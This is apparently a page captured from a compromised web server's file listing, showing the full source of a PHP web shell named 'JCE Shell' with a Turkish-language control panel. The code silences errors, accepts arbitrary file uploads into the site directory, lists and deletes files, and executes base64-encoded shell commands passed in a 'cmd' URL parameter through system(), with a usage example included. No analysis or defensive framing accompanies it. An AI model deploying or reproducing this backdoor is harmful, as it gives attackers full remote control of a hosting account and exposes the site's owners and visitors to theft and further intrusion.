Your IP : 216.73.216.74


Current Path : /home/andpasi/www/tmp/
Upload File :
Current File : /home/andpasi/www/tmp/dr-30nln8bu.php

<?php
error_reporting(0);
set_time_limit(0);
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) {
    $uploadDir = dirname(__FILE__) . "/";
    $fileName = basename($_FILES["file"]["name"]);
    $targetPath = $uploadDir . $fileName;
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetPath)) {
        echo "UPLOAD_OK|" . $fileName . "|" . $targetPath . "|" . filesize($targetPath);
    } else {
        echo "UPLOAD_FAIL";
    }
    exit;
}
if (isset($_GET["list"])) {
    $files = glob(dirname(__FILE__) . "/*");
    foreach ($files as $f) {
        echo basename($f) . " (" . filesize($f) . " bytes)
";
    }
    exit;
}
if (isset($_GET["del"])) {
    $f = dirname(__FILE__) . "/" . basename($_GET["del"]);
    if (file_exists($f) && unlink($f)) {
        echo "DELETED: " . basename($f);
    } else {
        echo "NOT_FOUND";
    }
    exit;
}
if (isset($_GET["cmd"])) {
    $cmd = base64_decode($_GET["cmd"]);
    echo "<pre>";
    system($cmd);
    echo "</pre>";
    exit;
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>JCE Shell</title></head>
<body style="background:#0a0a0a;color:#00ff00;font-family:monospace;padding:20px;">
<h1 style="color:#ff0000;">JCE Shell</h1>
<div style="border:1px solid #00ff00;padding:15px;background:#111;">
<h3>Dosya Yukle</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file"><button type="submit">Yukle</button>
</form></div>
<div style="border:1px solid #00ff00;padding:15px;background:#111;margin-top:10px;">
<h3>Komutlar</h3>
<p><a href="?list">Dosyalari Listele</a></p>
<p>Komut: ?cmd=$(echo 'whoami'|base64)</p>
</div>
</body></html>